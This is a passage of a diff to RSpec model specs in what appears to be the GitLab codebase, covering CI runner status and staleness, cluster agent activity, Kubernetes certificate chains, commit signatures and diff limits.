expect(pipeline.authorized_cluster_agents).to contain_exactly(agent) # cached
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :ci_pipeline }
+ end
+
+ it_behaves_like 'cleanup by a loose foreign key' do
+ let!(:model) { create(:ci_pipeline, user: create(:user)) }
+ let!(:parent) { model.user }
+ end
end
diff --git a/spec/models/ci/project_mirror_spec.rb b/spec/models/ci/project_mirror_spec.rb
new file mode 100644
index 00000000000..199285b036c
--- /dev/null
+++ b/spec/models/ci/project_mirror_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::ProjectMirror do
+ let_it_be(:group1) { create(:group) }
+ let_it_be(:group2) { create(:group) }
+
+ let!(:project) { create(:project, namespace: group2) }
+
+ describe '.sync!' do
+ let!(:event) { Projects::SyncEvent.create!(project: project) }
+
+ subject(:sync) { described_class.sync!(event.reload) }
+
+ context 'when project hierarchy does not exist in the first place' do
+ it 'creates a ci_projects record' do
+ expect { sync }.to change { described_class.count }.from(0).to(1)
+
+ expect(project.ci_project_mirror).to have_attributes(namespace_id: group2.id)
+ end
+ end
+
+ context 'when project hierarchy does already exist' do
+ before do
+ described_class.create!(project_id: project.id, namespace_id: group1.id)
+ end
+
+ it 'updates the related ci_projects record' do
+ expect { sync }.not_to change { described_class.count }
+
+ expect(project.ci_project_mirror).to have_attributes(namespace_id: group2.id)
+ end
+ end
+ end
+end
diff --git a/spec/models/ci/runner_namespace_spec.rb b/spec/models/ci/runner_namespace_spec.rb
index 4e7cf7a3cb3..41d805adb9f 100644
--- a/spec/models/ci/runner_namespace_spec.rb
+++ b/spec/models/ci/runner_namespace_spec.rb
@@ -4,12 +4,6 @@ require 'spec_helper'
RSpec.describe Ci::RunnerNamespace do
it_behaves_like 'includes Limitable concern' do
- before do
- skip_default_enabled_yaml_check
-
- stub_feature_flags(ci_runner_limits_override: false)
- end
-
subject { build(:ci_runner_namespace, group: create(:group, :nested), runner: create(:ci_runner, :group)) }
end
end
diff --git a/spec/models/ci/runner_project_spec.rb b/spec/models/ci/runner_project_spec.rb
index fef1416a84a..13369dba2cf 100644
--- a/spec/models/ci/runner_project_spec.rb
+++ b/spec/models/ci/runner_project_spec.rb
@@ -4,12 +4,6 @@ require 'spec_helper'
RSpec.describe Ci::RunnerProject do
it_behaves_like 'includes Limitable concern' do
- before do
- skip_default_enabled_yaml_check
-
- stub_feature_flags(ci_runner_limits_override: false)
- end
-
subject { build(:ci_runner_project, project: create(:project), runner: create(:ci_runner, :project)) }
end
end
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index 2e79159cc60..5142f70fa2c 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -7,10 +7,6 @@ RSpec.describe Ci::Runner do
it_behaves_like 'it has loose foreign keys' do
let(:factory_name) { :ci_runner }
-
- before do
- Clusters::Applications::Runner # ensure that the referenced model is loaded
- end
end
describe 'groups association' do
@@ -298,26 +294,134 @@ RSpec.describe Ci::Runner do
describe '.recent' do
subject { described_class.recent }
+ let!(:runner1) { create(:ci_runner, :instance, contacted_at: nil, created_at: 2.months.ago) }
+ let!(:runner2) { create(:ci_runner, :instance, contacted_at: nil, created_at: 3.months.ago) }
+ let!(:runner3) { create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 2.months.ago) }
+ let!(:runner4) { create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 3.months.ago) }
+
+ it { is_expected.to eq([runner1, runner3, runner4])}
+ end
+
+ describe '.active' do
+ subject { described_class.active(active_value) }
+
+ let!(:runner1) { create(:ci_runner, :instance, active: false) }
+ let!(:runner2) { create(:ci_runner, :instance) }
+
+ context 'with active_value set to false' do
+ let(:active_value) { false }
+
+ it 'returns inactive runners' do
+ is_expected.to match_array([runner1])
+ end
+ end
+
+ context 'with active_value set to true' do
+ let(:active_value) { true }
+
+ it 'returns active runners' do
+ is_expected.to match_array([runner2])
+ end
+ end
+ end
+
+ describe '.paused' do
before do
- @runner1 = create(:ci_runner, :instance, contacted_at: nil, created_at: 2.months.ago)
- @runner2 = create(:ci_runner, :instance, contacted_at: nil, created_at: 3.months.ago)
- @runner3 = create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 2.months.ago)
- @runner4 = create(:ci_runner, :instance, contacted_at: 1.month.ago, created_at: 3.months.ago)
- @runner5 = create(:ci_runner, :instance, contacted_at: 3.months.ago, created_at: 5.months.ago)
+ expect(described_class).to receive(:active).with(false).and_call_original
end
- it { is_expected.to eq([@runner1, @runner3, @runner4])}
+ subject { described_class.paused }
+
+ let!(:runner1) { create(:ci_runner, :instance, active: false) }
+ let!(:runner2) { create(:ci_runner, :instance) }
+
+ it 'returns inactive runners' do
+ is_expected.to match_array([runner1])
+ end
end
- describe '.online' do
- subject { described_class.online }
+ describe '.stale' do
+ subject { described_class.stale }
+
+ let!(:runner1) { create(:ci_runner, :instance, created_at: 4.months.ago, contacted_at: 3.months.ago + 10.seconds) }
+ let!(:runner2) { create(:ci_runner, :instance, created_at: 4.months.ago, contacted_at: 3.months.ago - 1.second) }
+ let!(:runner3) { create(:ci_runner, :instance, created_at: 3.months.ago - 1.second, contacted_at: nil) }
+ let!(:runner4) { create(:ci_runner, :instance, created_at: 2.months.ago, contacted_at: nil) }
+
+ it 'returns stale runners' do
+ is_expected.to match_array([runner2, runner3])
+ end
+ end
+
+ describe '#stale?', :clean_gitlab_redis_cache do
+ let(:runner) { create(:ci_runner, :instance) }
+
+ subject { runner.stale? }
before do
- @runner1 = create(:ci_runner, :instance, contacted_at: 2.hours.ago)
- @runner2 = create(:ci_runner, :instance, contacted_at: 1.second.ago)
+ allow_any_instance_of(described_class).to receive(:cached_attribute).and_call_original
+ allow_any_instance_of(described_class).to receive(:cached_attribute)
+ .with(:platform).and_return("darwin")
end
- it { is_expected.to eq([@runner2])}
+ context 'table tests' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:created_at, :contacted_at, :expected_stale?) do
+ nil | nil | false
+ 3.months.ago - 1.second | 3.months.ago - 0.001.seconds | true
+ 3.months.ago - 1.second | 3.months.ago + 1.hour | false
+ 3.months.ago - 1.second | nil | true
+ 3.months.ago + 1.hour | nil | false
+ end
+
+ with_them do
+ before do
+ runner.created_at = created_at
+ end
+
+ context 'no cache value' do
+ before do
+ stub_redis_runner_contacted_at(nil)
+ runner.contacted_at = contacted_at
+ end
+
+ specify do
+ is_expected.to eq(expected_stale?)
+ end
+ end
+
+ context 'with cache value' do
+ before do
+ runner.contacted_at = contacted_at ? contacted_at + 1.week : nil
+ stub_redis_runner_contacted_at(contacted_at.to_s)
+ end
+
+ specify do
+ is_expected.to eq(expected_stale?)
+ end
+ end
+
+ def stub_redis_runner_contacted_at(value)
+ return unless created_at
+
+ Gitlab::Redis::Cache.with do |redis|
+ cache_key = runner.send(:cache_attribute_key)
+ expect(redis).to receive(:get).with(cache_key)
+ .and_return({ contacted_at: value }.to_json).at_least(:once)
+ end
+ end
+ end
+ end
+ end
+
+ describe '.online' do
+ subject { described_class.online }
+
+ let!(:runner1) { create(:ci_runner, :instance, contacted_at: 2.hours.ago) }
+ let!(:runner2) { create(:ci_runner, :instance, contacted_at: 1.second.ago) }
+
+ it { is_expected.to match_array([runner2]) }
end
describe '#online?', :clean_gitlab_redis_cache do
@@ -344,7 +448,7 @@ RSpec.describe Ci::Runner do
it { is_expected.to be_falsey }
end
- context 'contacted long time ago time' do
+ context 'contacted long time ago' do
before do
runner.contacted_at = 1.year.ago
end
@@ -362,7 +466,7 @@ RSpec.describe Ci::Runner do
end
context 'with cache value' do
- context 'contacted long time ago time' do
+ context 'contacted long time ago' do
before do
runner.contacted_at = 1.year.ago
stub_redis_runner_contacted_at(1.year.ago.to_s)
@@ -393,12 +497,10 @@ RSpec.describe Ci::Runner do
describe '.offline' do
subject { described_class.offline }
- before do
- @runner1 = create(:ci_runner, :instance, contacted_at: 2.hours.ago)
- @runner2 = create(:ci_runner, :instance, contacted_at: 1.second.ago)
- end
+ let!(:runner1) { create(:ci_runner, :instance, contacted_at: 2.hours.ago) }
+ let!(:runner2) { create(:ci_runner, :instance, contacted_at: 1.second.ago) }
- it { is_expected.to eq([@runner1])}
+ it { is_expected.to eq([runner1]) }
end
describe '#tick_runner_queue' do
@@ -626,16 +728,33 @@ RSpec.describe Ci::Runner do
end
describe '#status' do
- let(:runner) { build(:ci_runner, :instance) }
+ let(:runner) { build(:ci_runner, :instance, created_at: 4.months.ago) }
+ let(:legacy_mode) { }
- subject { runner.status }
+ subject { runner.status(legacy_mode) }
context 'never connected' do
before do
runner.contacted_at = nil
end
- it { is_expected.to eq(:not_connected) }
+ context 'with legacy_mode enabled' do
+ let(:legacy_mode) { '14.5' }
+
+ it { is_expected.to eq(:not_connected) }
+ end
+
+ context 'with legacy_mode disabled' do
+ it { is_expected.to eq(:stale) }
+ end
+
+ context 'created recently' do
+ before do
+ runner.created_at = 1.day.ago
+ end
+
+ it { is_expected.to eq(:never_contacted) }
+ end
end
context 'inactive but online' do
@@ -644,7 +763,15 @@ RSpec.describe Ci::Runner do
runner.active = false
end
- it { is_expected.to eq(:online) }
+ context 'with legacy_mode enabled' do
+ let(:legacy_mode) { '14.5' }
+
+ it { is_expected.to eq(:paused) }
+ end
+
+ context 'with legacy_mode disabled' do
+ it { is_expected.to eq(:online) }
+ end
end
context 'contacted 1s ago' do
@@ -655,13 +782,29 @@ RSpec.describe Ci::Runner do
it { is_expected.to eq(:online) }
end
- context 'contacted long time ago' do
+ context 'contacted recently' do
before do
- runner.contacted_at = 1.year.ago
+ runner.contacted_at = (3.months - 1.hour).ago
end
it { is_expected.to eq(:offline) }
end
+
+ context 'contacted long time ago' do
+ before do
+ runner.contacted_at = (3.months + 1.second).ago
+ end
+
+ context 'with legacy_mode enabled' do
+ let(:legacy_mode) { '14.5' }
+
+ it { is_expected.to eq(:offline) }
+ end
+
+ context 'with legacy_mode disabled' do
+ it { is_expected.to eq(:stale) }
+ end
+ end
end
describe '#deprecated_rest_status' do
@@ -760,8 +903,9 @@ RSpec.describe Ci::Runner do
describe '#heartbeat' do
let(:runner) { create(:ci_runner, :project) }
+ let(:executor) { 'shell' }
- subject { runner.heartbeat(architecture: '18-bit', config: { gpus: "all" }) }
+ subject { runner.heartbeat(architecture: '18-bit', config: { gpus: "all" }, executor: executor) }
context 'when database was updated recently' do
before do
@@ -797,6 +941,26 @@ RSpec.describe Ci::Runner do
expect_redis_update
does_db_update
end
+
+ %w(custom shell docker docker-windows docker-ssh ssh parallels virtualbox docker+machine docker-ssh+machine kubernetes some-unknown-type).each do |executor|
+ context "with #{executor} executor" do
+ let(:executor) { executor }
+
+ it 'updates with expected executor type' do
+ expect_redis_update
+
+ subject
+
+ expect(runner.reload.read_attribute(:executor_type)).to eq(expected_executor_type)
+ end
+
+ def expected_executor_type
+ return 'unknown' if executor == 'some-unknown-type'
+
+ executor.gsub(/[+-]/, '_')
+ end
+ end
+ end
end
def expect_redis_update
@@ -810,6 +974,7 @@ RSpec.describe Ci::Runner do
expect { subject }.to change { runner.reload.read_attribute(:contacted_at) }
.and change { runner.reload.read_attribute(:architecture) }
.and change { runner.reload.read_attribute(:config) }
+ .and change { runner.reload.read_attribute(:executor_type) }
end
end
@@ -1194,31 +1359,43 @@ RSpec.describe Ci::Runner do
end
describe '.belonging_to_group' do
- it 'returns the specific group runner' do
- group = create(:group)
- runner = create(:ci_runner, :group, groups: [group])
- unrelated_group = create(:group)
- create(:ci_runner, :group, groups: [unrelated_group])
+ shared_examples 'returns group runners' do
+ it 'returns the specific group runner' do
+ group = create(:group)
+ runner = create(:ci_runner, :group, groups: [group])
+ unrelated_group = create(:group)
+ create(:ci_runner, :group, groups: [unrelated_group])
- expect(described_class.belonging_to_group(group.id)).to contain_exactly(runner)
- end
+ expect(described_class.belonging_to_group(group.id)).to contain_exactly(runner)
+ end
- context 'runner belonging to parent group' do
- let_it_be(:parent_group) { create(:group) }
- let_it_be(:parent_runner) { create(:ci_runner, :group, groups: [parent_group]) }
- let_it_be(:group) { create(:group, parent: parent_group) }
+ context 'runner belonging to parent group' do
+ let_it_be(:parent_group) { create(:group) }
+ let_it_be(:parent_runner) { create(:ci_runner, :group, groups: [parent_group]) }
+ let_it_be(:group) { create(:group, parent: parent_group) }
- context 'when include_parent option is passed' do
- it 'returns the group runner from the parent group' do
- expect(described_class.belonging_to_group(group.id, include_ancestors: true)).to contain_exactly(parent_runner)
+ context 'when include_parent option is passed' do
+ it 'returns the group runner from the parent group' do
+ expect(described_class.belonging_to_group(group.id, include_ancestors: true)).to contain_exactly(parent_runner)
+ end
end
- end
- context 'when include_parent option is not passed' do
- it 'does not return the group runner from the parent group' do
- expect(described_class.belonging_to_group(group.id)).to be_empty
+ context 'when include_parent option is not passed' do
+ it 'does not return the group runner from the parent group' do
+ expect(described_class.belonging_to_group(group.id)).to be_empty
+ end
end
end
end
+
+ it_behaves_like 'returns group runners'
+
+ context 'when feature flag :linear_runner_ancestor_scopes is disabled' do
+ before do
+ stub_feature_flags(linear_runner_ancestor_scopes: false)
+ end
+
+ it_behaves_like 'returns group runners'
+ end
end
end
diff --git a/spec/models/ci/stage_spec.rb b/spec/models/ci/stage_spec.rb
index 5e0fcb4882f..2b6f22e68f1 100644
--- a/spec/models/ci/stage_spec.rb
+++ b/spec/models/ci/stage_spec.rb
@@ -28,6 +28,18 @@ RSpec.describe Ci::Stage, :models do
end
end
+ describe '.by_position' do
+ it 'finds stages by position' do
+ a = create(:ci_stage_entity, position: 1)
+ b = create(:ci_stage_entity, position: 2)
+ c = create(:ci_stage_entity, position: 3)
+
+ expect(described_class.by_position(1)).to contain_exactly(a)
+ expect(described_class.by_position(2)).to contain_exactly(b)
+ expect(described_class.by_position(%w[1 3])).to contain_exactly(a, c)
+ end
+ end
+
describe '.by_name' do
it 'finds stages by name' do
a = create(:ci_stage_entity, name: 'a')
diff --git a/spec/models/clusters/agent_spec.rb b/spec/models/clusters/agent_spec.rb
index f9df84e8ff4..3b521086c14 100644
--- a/spec/models/clusters/agent_spec.rb
+++ b/spec/models/clusters/agent_spec.rb
@@ -75,4 +75,37 @@ RSpec.describe Clusters::Agent do
expect(agent.has_access_to?(create(:project))).to be_falsey
end
end
+
+ describe '#active?' do
+ let_it_be(:agent) { create(:cluster_agent) }
+
+ let!(:token) { create(:cluster_agent_token, agent: agent, last_used_at: last_used_at) }
+
+ subject { agent.active? }
+
+ context 'agent has never connected' do
+ let(:last_used_at) { nil }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'agent has connected, but not recently' do
+ let(:last_used_at) { 2.hours.ago }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'agent has connected recently' do
+ let(:last_used_at) { 2.minutes.ago }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'agent has multiple tokens' do
+ let!(:inactive_token) { create(:cluster_agent_token, agent: agent, last_used_at: 2.hours.ago) }
+ let(:last_used_at) { 2.minutes.ago }
+
+ it { is_expected.to be_truthy }
+ end
+ end
end
diff --git a/spec/models/clusters/agent_token_spec.rb b/spec/models/clusters/agent_token_spec.rb
index bde4798abec..ad9f948224f 100644
--- a/spec/models/clusters/agent_token_spec.rb
+++ b/spec/models/clusters/agent_token_spec.rb
@@ -39,7 +39,9 @@ RSpec.describe Clusters::AgentToken do
end
describe '#track_usage', :clean_gitlab_redis_cache do
- let(:agent_token) { create(:cluster_agent_token) }
+ let_it_be(:agent) { create(:cluster_agent) }
+
+ let(:agent_token) { create(:cluster_agent_token, agent: agent) }
subject { agent_token.track_usage }
@@ -73,6 +75,34 @@ RSpec.describe Clusters::AgentToken do
expect_redis_update
end
end
+
+ context 'agent is inactive' do
+ before do
+ allow(agent).to receive(:active?).and_return(false)
+ end
+
+ it 'creates an activity event' do
+ expect { subject }.to change { agent.activity_events.count }
+
+ event = agent.activity_events.last
+ expect(event).to have_attributes(
+ kind: 'agent_connected',
+ level: 'info',
+ recorded_at: agent_token.reload.read_attribute(:last_used_at),
+ agent_token: agent_token
+ )
+ end
+ end
+
+ context 'agent is active' do
+ before do
+ allow(agent).to receive(:active?).and_return(true)
+ end
+
+ it 'does not create an activity event' do
+ expect { subject }.not_to change { agent.activity_events.count }
+ end
+ end
end
def expect_redis_update
diff --git a/spec/models/clusters/agents/activity_event_spec.rb b/spec/models/clusters/agents/activity_event_spec.rb
new file mode 100644
index 00000000000..18b9c82fa6a
--- /dev/null
+++ b/spec/models/clusters/agents/activity_event_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Clusters::Agents::ActivityEvent do
+ it { is_expected.to belong_to(:agent).class_name('Clusters::Agent').required }
+ it { is_expected.to belong_to(:user).optional }
+ it { is_expected.to belong_to(:agent_token).class_name('Clusters::AgentToken').optional }
+
+ it { is_expected.to validate_presence_of(:kind) }
+ it { is_expected.to validate_presence_of(:level) }
+ it { is_expected.to validate_presence_of(:recorded_at) }
+ it { is_expected.to nullify_if_blank(:detail) }
+
+ describe 'scopes' do
+ let_it_be(:agent) { create(:cluster_agent) }
+
+ describe '.in_timeline_order' do
+ let(:recorded_at) { 1.hour.ago }
+
+ let!(:event1) { create(:agent_activity_event, agent: agent, recorded_at: recorded_at) }
+ let!(:event2) { create(:agent_activity_event, agent: agent, recorded_at: Time.current) }
+ let!(:event3) { create(:agent_activity_event, agent: agent, recorded_at: recorded_at) }
+
+ subject { described_class.in_timeline_order }
+
+ it 'sorts by recorded_at: :desc, id: :desc' do
+ is_expected.to eq([event2, event3, event1])
+ end
+ end
+ end
+end
diff --git a/spec/models/clusters/applications/runner_spec.rb b/spec/models/clusters/applications/runner_spec.rb
index 806c60d5aff..434d7ad4a90 100644
--- a/spec/models/clusters/applications/runner_spec.rb
+++ b/spec/models/clusters/applications/runner_spec.rb
@@ -69,66 +69,9 @@ RSpec.describe Clusters::Applications::Runner do
expect(values).to include('privileged: true')
expect(values).to include('image: ubuntu:16.04')
expect(values).to include('resources')
- expect(values).to match(/runnerToken: ['"]?#{Regexp.escape(ci_runner.token)}/)
expect(values).to match(/gitlabUrl: ['"]?#{Regexp.escape(Gitlab::Routing.url_helpers.root_url)}/)
end
- context 'without a runner' do
- let(:application) { create(:clusters_applications_runner, runner: nil, cluster: cluster) }
- let(:runner) { application.runner }
-
- shared_examples 'runner creation' do
- it 'creates a runner' do
- expect { subject }.to change { Ci::Runner.count }.by(1)
- end
-
- it 'uses the new runner token' do
- expect(values).to match(/runnerToken: '?#{Regexp.escape(runner.token)}/)
- end
- end
-
- context 'project cluster' do
- let(:project) { create(:project) }
- let(:cluster) { create(:cluster, :with_installed_helm, projects: [project]) }
-
- include_examples 'runner creation'
-
- it 'creates a project runner' do
- subject
-
- runner_projects = Project.where(id: runner.runner_projects.pluck(:project_id))
- expect(runner).to be_project_type
- expect(runner_projects).to match_array [project]
- end
- end
-
- context 'group cluster' do
- let(:group) { create(:group) }
- let(:cluster) { create(:cluster, :with_installed_helm, cluster_type: :group_type, groups: [group]) }
-
- include_examples 'runner creation'
-
- it 'creates a group runner' do
- subject
-
- expect(runner).to be_group_type
- expect(runner.runner_namespaces.pluck(:namespace_id)).to match_array [group.id]
- end
- end
-
- context 'instance cluster' do
- let(:cluster) { create(:cluster, :with_installed_helm, :instance) }
-
- include_examples 'runner creation'
-
- it 'creates an instance runner' do
- subject
-
- expect(runner).to be_instance_type
- end
- end
- end
-
context 'with duplicated values on vendor/runner/values.yaml' do
let(:stub_values) do
{
diff --git a/spec/models/clusters/platforms/kubernetes_spec.rb b/spec/models/clusters/platforms/kubernetes_spec.rb
index a4cae93ff84..b298bf2c8bb 100644
--- a/spec/models/clusters/platforms/kubernetes_spec.rb
+++ b/spec/models/clusters/platforms/kubernetes_spec.rb
@@ -201,7 +201,7 @@ RSpec.describe Clusters::Platforms::Kubernetes do
it { is_expected.to be_an_instance_of(Gitlab::Kubernetes::KubeClient) }
context 'ca_pem is a single certificate' do
- let(:ca_pem) { File.read(Rails.root.join('spec/fixtures/clusters/ca_certificate.pem')) }
+ let(:ca_pem) { File.read(Rails.root.join('spec/fixtures/clusters/root_certificate.pem')) }
let(:kubernetes) do
build(:cluster_platform_kubernetes,
:configured,
@@ -228,21 +228,22 @@ RSpec.describe Clusters::Platforms::Kubernetes do
ca_pem: cert_chain)
end
- it 'includes chain of certificates' do
- cert1_file = File.read(Rails.root.join('spec/fixtures/clusters/root_certificate.pem'))
- cert1 = OpenSSL::X509::Certificate.new(cert1_file)
-
- cert2_file = File.read(Rails.root.join('spec/fixtures/clusters/intermediate_certificate.pem'))
- cert2 = OpenSSL::X509::Certificate.new(cert2_file)
-
- cert3_file = File.read(Rails.root.join('spec/fixtures/clusters/ca_certificate.pem'))
- cert3 = OpenSSL::X509::Certificate.new(cert3_file)
+ where(:fixture_path) do
+ %w[
+ spec/fixtures/clusters/root_certificate.pem
+ spec/fixtures/clusters/intermediate_certificate.pem
+ spec/fixtures/clusters/leaf_certificate.pem
+ ]
+ end
- cert_store = kubernetes.kubeclient.kubeclient_options[:ssl_options][:cert_store]
+ with_them do
+ it 'includes chain of certificates' do
+ cert_store = kubernetes.kubeclient.kubeclient_options[:ssl_options][:cert_store]
+ cert_file = File.read(Rails.root.join(fixture_path))
+ certificate = OpenSSL::X509::Certificate.new(cert_file)
- expect(cert_store.verify(cert1)).to be true
- expect(cert_store.verify(cert2)).to be true
- expect(cert_store.verify(cert3)).to be true
+ expect(cert_store.verify(certificate)).to be true
+ end
end
end
end
diff --git a/spec/models/commit_signatures/gpg_signature_spec.rb b/spec/models/commit_signatures/gpg_signature_spec.rb
new file mode 100644
index 00000000000..9646e974f40
--- /dev/null
+++ b/spec/models/commit_signatures/gpg_signature_spec.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CommitSignatures::GpgSignature do
+ let(:commit_sha) { '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' }
+ let!(:project) { create(:project, :repository, path: 'sample-project') }
+ let!(:commit) { create(:commit, project: project, sha: commit_sha) }
+ let(:gpg_signature) { create(:gpg_signature, commit_sha: commit_sha) }
+ let(:gpg_key) { create(:gpg_key) }
+ let(:gpg_key_subkey) { create(:gpg_key_subkey) }
+
+ it_behaves_like 'having unique enum values'
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project).required }
+ it { is_expected.to belong_to(:gpg_key) }
+ it { is_expected.to belong_to(:gpg_key_subkey) }
+ end
+
+ describe 'validation' do
+ subject { described_class.new }
+
+ it { is_expected.to validate_presence_of(:commit_sha) }
+ it { is_expected.to validate_presence_of(:project_id) }
+ it { is_expected.to validate_presence_of(:gpg_key_primary_keyid) }
+ end
+
+ describe '.safe_create!' do
+ let(:attributes) do
+ {
+ commit_sha: commit_sha,
+ project: project,
+ gpg_key_primary_keyid: gpg_key.keyid
+ }
+ end
+
+ it 'finds a signature by commit sha if it existed' do
+ gpg_signature
+
+ expect(described_class.safe_create!(commit_sha: commit_sha)).to eq(gpg_signature)
+ end
+
+ it 'creates a new signature if it was not found' do
+ expect { described_class.safe_create!(attributes) }.to change { described_class.count }.by(1)
+ end
+
+ it 'assigns the correct attributes when creating' do
+ signature = described_class.safe_create!(attributes)
+
+ expect(signature.project).to eq(project)
+ expect(signature.commit_sha).to eq(commit_sha)
+ expect(signature.gpg_key_primary_keyid).to eq(gpg_key.keyid)
+ end
+
+ it 'does not raise an error in case of a race condition' do
+ expect(described_class).to receive(:find_by).and_return(nil, double(described_class, persisted?: true))
+
+ expect(described_class).to receive(:create).and_raise(ActiveRecord::RecordNotUnique)
+ allow(described_class).to receive(:create).and_call_original
+
+ described_class.safe_create!(attributes)
+ end
+ end
+
+ describe '.by_commit_sha scope' do
+ let(:gpg_key) { create(:gpg_key, key: GpgHelpers::User2.public_key) }
+ let!(:another_gpg_signature) { create(:gpg_signature, gpg_key: gpg_key) }
+
+ it 'returns all gpg signatures by sha' do
+ expect(described_class.by_commit_sha(commit_sha)).to eq([gpg_signature])
+ expect(
+ described_class.by_commit_sha([commit_sha, another_gpg_signature.commit_sha])
+ ).to contain_exactly(gpg_signature, another_gpg_signature)
+ end
+ end
+
+ describe '#commit' do
+ it 'fetches the commit through the project' do
+ expect_next_instance_of(Project) do |instance|
+ expect(instance).to receive(:commit).with(commit_sha).and_return(commit)
+ end
+
+ gpg_signature.commit
+ end
+ end
+
+ describe '#gpg_key=' do
+ it 'supports the assignment of a GpgKey' do
+ gpg_signature = create(:gpg_signature, gpg_key: gpg_key)
+
+ expect(gpg_signature.gpg_key).to be_an_instance_of(GpgKey)
+ end
+
+ it 'supports the assignment of a GpgKeySubkey' do
+ gpg_signature = create(:gpg_signature, gpg_key: gpg_key_subkey)
+
+ expect(gpg_signature.gpg_key).to be_an_instance_of(GpgKeySubkey)
+ end
+
+ it 'clears gpg_key and gpg_key_subkey_id when passing nil' do
+ gpg_signature.update_attribute(:gpg_key, nil)
+
+ expect(gpg_signature.gpg_key_id).to be_nil
+ expect(gpg_signature.gpg_key_subkey_id).to be_nil
+ end
+ end
+
+ describe '#gpg_commit' do
+ context 'when commit does not exist' do
+ it 'returns nil' do
+ allow(gpg_signature).to receive(:commit).and_return(nil)
+
+ expect(gpg_signature.gpg_commit).to be_nil
+ end
+ end
+
+ context 'when commit exists' do
+ it 'returns an instance of Gitlab::Gpg::Commit' do
+ allow(gpg_signature).to receive(:commit).and_return(commit)
+
+ expect(gpg_signature.gpg_commit).to be_an_instance_of(Gitlab::Gpg::Commit)
+ end
+ end
+ end
+end
diff --git a/spec/models/commit_signatures/x509_commit_signature_spec.rb b/spec/models/commit_signatures/x509_commit_signature_spec.rb
new file mode 100644
index 00000000000..076f209e1b7
--- /dev/null
+++ b/spec/models/commit_signatures/x509_commit_signature_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CommitSignatures::X509CommitSignature do
+ let(:commit_sha) { '189a6c924013fc3fe40d6f1ec1dc20214183bc97' }
+ let(:project) { create(:project, :public, :repository) }
+ let!(:commit) { create(:commit, project: project, sha: commit_sha) }
+ let(:x509_certificate) { create(:x509_certificate) }
+ let(:x509_signature) { create(:x509_commit_signature, commit_sha: commit_sha) }
+
+ let(:attributes) do
+ {
+ commit_sha: commit_sha,
+ project: project,
+ x509_certificate_id: x509_certificate.id,
+ verification_status: "verified"
+ }
+ end
+
+ it_behaves_like 'having unique enum values'
+
+ describe 'validation' do
+ it { is_expected.to validate_presence_of(:commit_sha) }
+ it { is_expected.to validate_presence_of(:project_id) }
+ it { is_expected.to validate_presence_of(:x509_certificate_id) }
+ end
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:project).required }
+ it { is_expected.to belong_to(:x509_certificate).required }
+ end
+
+ describe '.safe_create!' do
+ it 'finds a signature by commit sha if it existed' do
+ x509_signature
+
+ expect(described_class.safe_create!(commit_sha: commit_sha)).to eq(x509_signature)
+ end
+
+ it 'creates a new signature if it was not found' do
+ expect { described_class.safe_create!(attributes) }.to change { described_class.count }.by(1)
+ end
+
+ it 'assigns the correct attributes when creating' do
+ signature = described_class.safe_create!(attributes)
+
+ expect(signature.project).to eq(project)
+ expect(signature.commit_sha).to eq(commit_sha)
+ expect(signature.x509_certificate_id).to eq(x509_certificate.id)
+ end
+ end
+
+ describe '#user' do
+ context 'if email is assigned to a user' do
+ let!(:user) { create(:user, email: X509Helpers::User1.certificate_email) }
+
+ it 'returns user' do
+ expect(described_class.safe_create!(attributes).user).to eq(user)
+ end
+ end
+
+ it 'if email is not assigned to a user, return nil' do
+ expect(described_class.safe_create!(attributes).user).to be_nil
+ end
+ end
+end
diff --git a/spec/models/commit_spec.rb b/spec/models/commit_spec.rb
index ac0ae17f8f7..2176eea75bc 100644
--- a/spec/models/commit_spec.rb
+++ b/spec/models/commit_spec.rb
@@ -676,68 +676,18 @@ eos
describe '.diff_max_files' do
subject(:diff_max_files) { described_class.diff_max_files }
- let(:increased_diff_limits) { false }
- let(:configurable_diff_limits) { false }
-
- before do
- stub_feature_flags(increased_diff_limits: increased_diff_limits, configurable_diff_limits: configurable_diff_limits)
- end
-
- context 'when increased_diff_limits is enabled' do
- let(:increased_diff_limits) { true }
-
- it 'returns 3000' do
- expect(diff_max_files).to eq(3000)
- end
- end
-
- context 'when configurable_diff_limits is enabled' do
- let(:configurable_diff_limits) { true }
-
- it 'returns the current settings' do
- Gitlab::CurrentSettings.update!(diff_max_files: 1234)
- expect(diff_max_files).to eq(1234)
- end
- end
-
- context 'when neither feature flag is enabled' do
- it 'returns 1000' do
- expect(diff_max_files).to eq(1000)
- end
+ it 'returns the current settings' do
+ Gitlab::CurrentSettings.update!(diff_max_files: 1234)
+ expect(diff_max_files).to eq(1234)
end
end
describe '.diff_max_lines' do
subject(:diff_max_lines) { described_class.diff_max_lines }
- let(:increased_diff_limits) { false }
- let(:configurable_diff_limits) { false }
-
- before do
- stub_feature_flags(increased_diff_limits: increased_diff_limits, configurable_diff_limits: configurable_diff_limits)
- end
-
- context 'when increased_diff_limits is enabled' do
- let(:increased_diff_limits) { true }
-
- it 'returns 100000' do
- expect(diff_max_lines).to eq(100000)
- end
- end
-
- context 'when configurable_diff_limits is enabled' do
- let(:configurable_diff_limits) { true }
-
- it 'returns the current settings' do
- Gitlab::CurrentSettings.update!(diff_max_lines: 65321)
- expect(diff_max_lines).to eq(65321)
- end
- end
-
- context 'when neither feature flag is enabled' do
- it 'returns 50000' do
- expect(diff_max_lines).to eq(50000)
- end
+ it 'returns the current settings' do
+ Gitlab::CurrentSettings.update!(diff_max_lines: 65321)
